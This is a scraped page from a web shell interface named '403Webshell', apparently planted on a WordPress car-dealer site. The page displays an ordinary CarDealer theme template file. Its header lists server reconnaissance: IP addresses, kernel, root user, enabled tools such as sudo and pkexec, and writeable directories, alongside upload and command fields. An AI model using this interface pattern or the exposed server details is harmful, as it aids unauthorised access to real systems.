403Webshell
Server IP : 192.241.186.36  /  Your IP : 216.73.216.164
Web Server : Apache/2.4.29 (Ubuntu)
System : Linux webserver7 4.15.0-194-generic #205-Ubuntu SMP Fri Sep 16 19:49:27 UTC 2022 x86_64
User : root ( 0)
PHP Version : 7.4.32
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/carsdaddy/wp-content/themes/cardealer/template-parts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/carsdaddy/wp-content/themes/cardealer/template-parts/entry_meta.php
<?php // phpcs:ignore WordPress.Files.FileName.NotHyphenatedLowercase
/**
 * Template part.
 *
 * @link https://developer.wordpress.org/themes/basics/template-hierarchy/
 *
 * @package CarDealer
 */

global $car_dealer_options;

if ( is_single() ) {
	$blog_metas = isset( $car_dealer_options['single_metas'] ) ? $car_dealer_options['single_metas'] : '';
	if ( empty( $blog_metas ) ) {
		$blog_metas = array(
			'date'       => '1',
			'author'     => '1',
			'categories' => '1',
			'tags'       => '1',
			'comments'   => '1',
		);
	}
} else {
	$blog_metas = isset( $car_dealer_options['blog_metas'] ) ? $car_dealer_options['blog_metas'] : '';
	if ( empty( $blog_metas ) ) {
		$blog_metas = array(
			'date'       => '1',
			'author'     => '1',
			'categories' => '1',
			'tags'       => '1',
			'comments'   => '1',
		);
	}
}
?>
<div class="entry-meta">
	<?php
	if ( ! empty( $blog_metas ) ) {
		?>
		<ul class="cardealer-entry-meta-items">
		<?php
	}

	foreach ( $blog_metas as $blog_meta_k => $blog_meta_v ) {

		if ( 'date' === $blog_meta_k && ! empty( $blog_meta_v ) ) {
			echo sprintf(
				'<li class="cardealer-entry-meta-item cardealer-entry-meta-item-date"><a href="%1$s" title="%2$s" rel="bookmark"><time class="entry-date" datetime="%3$s"><i class="fas fa-calendar-alt"></i> %4$s</time></a></li>',
				esc_url( get_permalink() ),
				esc_attr( get_the_time() ),
				esc_attr( get_the_date( 'c' ) ),
				esc_html( get_the_date() )
			);
		}

		if ( 'author' === $blog_meta_k && ! empty( $blog_meta_v ) ) {
			echo sprintf(
				'<li class="cardealer-entry-meta-item cardealer-entry-meta-item-author"><span class="author vcard"><a class="url fn n" href="%1$s" title="%2$s" rel="author"><i class="fas fa-user"></i> %3$s</a></span></li>',
				esc_url( get_author_posts_url( get_the_author_meta( 'ID' ) ) ),
				esc_attr(
					sprintf(
						/* translators: 1: Post Author */
						esc_html__( 'View all posts by %s', 'cardealer' ),
						get_the_author()
					)
				),
				get_the_author()
			);
		}

		/* translators: used between list items, there is a space after the comma */
		$categories_list = get_the_category_list( ', ' );

		/* translators: used between list items, there is a space after the comma */
		$tags_list = get_the_tag_list( '<i class="fas fa-tags"></i>', ', ' );

		if ( 'categories' === $blog_meta_k && ! empty( $blog_meta_v ) && ! empty( $categories_list ) ) {
			echo sprintf(
				'<li class="cardealer-entry-meta-item cardealer-entry-meta-item-categories"><span class="entry-meta-categories"><i class="fas fa-folder-open"></i>%1$s</span></li>',
				wp_kses_post( $categories_list )
			);
		}

		if ( 'tags' === $blog_meta_k && ! empty( $blog_meta_v ) && has_tag() ) {
			echo sprintf(
				'<li class="cardealer-entry-meta-item cardealer-entry-meta-item-tags"><span class="entry-meta-tags">%1$s</span></li>',
				wp_kses_post( $tags_list )
			);
		}

		if ( 'comments' === $blog_meta_k && ! empty( $blog_meta_v ) && comments_open() ) {
			ob_start();
			comments_popup_link(
				'<i class="far fa-comments"></i> <span class="leave-comment">' . esc_html__( 'No comments', 'cardealer' ) . '</span>',
				'<i class="far fa-comments"></i> <span class="leave-comment">' . esc_html__( '1 Comment', 'cardealer' ) . '</span>',
				'<i class="far fa-comments"></i> <span class="leave-comment">' . esc_html__( '% Comments', 'cardealer' ) . '</span>'
			);
			$comments_popup_link = ob_get_clean();

			echo sprintf(
				'<li class="cardealer-entry-meta-item cardealer-entry-meta-item-comments">%1$s</span></li>',
				wp_kses_post( $comments_popup_link )
			);
		}
	}

	if ( ! empty( $blog_metas ) ) {
		?>
		</ul>
		<?php
	}
	edit_post_link( '<i class="fas fa-pencil-alt"></i> ' . esc_html__( 'Edit', 'cardealer' ), '', '' );
	?>
</div>

Youez - 2016 - github.com/yon3zu
LinuXploit